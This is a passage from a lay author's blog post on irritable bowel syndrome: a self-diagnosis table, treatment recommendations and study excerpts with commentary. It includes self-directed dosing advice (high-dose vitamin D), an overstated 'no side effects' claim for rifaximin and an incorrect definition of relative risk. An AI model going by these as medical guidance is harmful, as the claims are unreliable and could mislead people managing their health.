prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of 